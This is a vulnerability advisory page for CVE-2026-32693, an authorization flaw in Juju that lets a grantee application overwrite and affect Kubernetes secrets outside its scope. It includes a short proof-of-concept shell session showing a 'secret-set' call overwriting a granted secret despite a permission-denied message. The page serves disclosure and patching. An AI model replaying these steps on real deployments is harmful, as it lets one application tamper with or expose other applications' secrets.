Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-32693

Juju has unauthorized access to out-of-scope Kubernetes secrets
Back to all
CVE

CVE-2026-32693

Juju has unauthorized access to out-of-scope Kubernetes secrets

Summary

Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy.

Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.

Details

When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.

Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.

PoC

Tested:

  • two applications in the same controller, same model: one owns the secret, another get a grant
  • relation between them
  • secret grant
  • Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI

Not tested:

  • admin (user) secrets
  • cross-model relations
  • cross-controller relations
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
  workload-version: 24.2.0
  opened-ports: []
  charm: ch:amd64/nginx-ingress-integrator-203
  leader: true
  life: alive
  relation-info:
  - relation-id: 11
    endpoint: ingress
    related-endpoint: ingress
    application-data: {}
    related-units:
      evilator/0:
        in-scope: true
        data:
          egress-subnets: 10.152.183.39/32
          ingress-address: 10.152.183.39
          private-address: 10.152.183.39
  - relation-id: 10
    endpoint: nginx-peers
    related-endpoint: nginx-peers
    application-data: {}
    local-unit:
      in-scope: true
      data:
        egress-subnets: 10.152.183.135/32
        ingress-address: 10.152.183.135
        private-address: 10.152.183.135
  provider-id: ingress2-0
  address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" 
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" 
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" 
nice: who-is-nice-now

When the grantee attempts to update the the granted secret:

  • secret-set command logs an error, though returns OK return status
  • the secret value is updated
  • new secret revision is not created
  • new value is visible to both owner and grantee

Impact

  • the application that owns the secret
  • a third application, if a secret is granted to multiple parties
  • any other application that has secrets in the same Kubernetes secret backend

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.8
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
C
H
U
8.8
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/juju/juju/security/advisories/GHSA-439w-v2p7-pggc, https://nvd.nist.gov/vuln/detail/CVE-2026-32693, https://github.com/juju/juju/commit/d06919eb03ec68156818bcc304b5fe1c39a8f9e9, https://github.com/juju/juju

Severity

8.8

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
8.8
EPSS Probability
0.00081%
EPSS Percentile
0.23677%
Introduced Version
0.0.0-20221021155847-35c560704ee2,v4.0-beta1,v0.0.0-20230825155454-04859d2c3b73,v3.6.3,v0.0.0-20250129113926-d9b2c9190f77,v0.0.0-20250110041749-b40178256455,v3.1.6,v0.0.0-20230710014554-a4e8ae7a3762,v0.0.0-20230710014126-c370b89bafad,v0.0.0-20230707082204-41c0dcf29148,v0.0.0-20221207234540-be521acf9168,v0.0.0-20221125044744-ed13050db86b,v0.0.0-20221006050354-d2cbd4b10413,v0.0.0-20220907020602-4693171938c1,v0.0.0-20220901222305-ecf711003684
Fix Available
0.0.0-20260319091847-d06919eb03ec,v3.6.15,v0.0.0-20260209052057-0844522cc1da

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading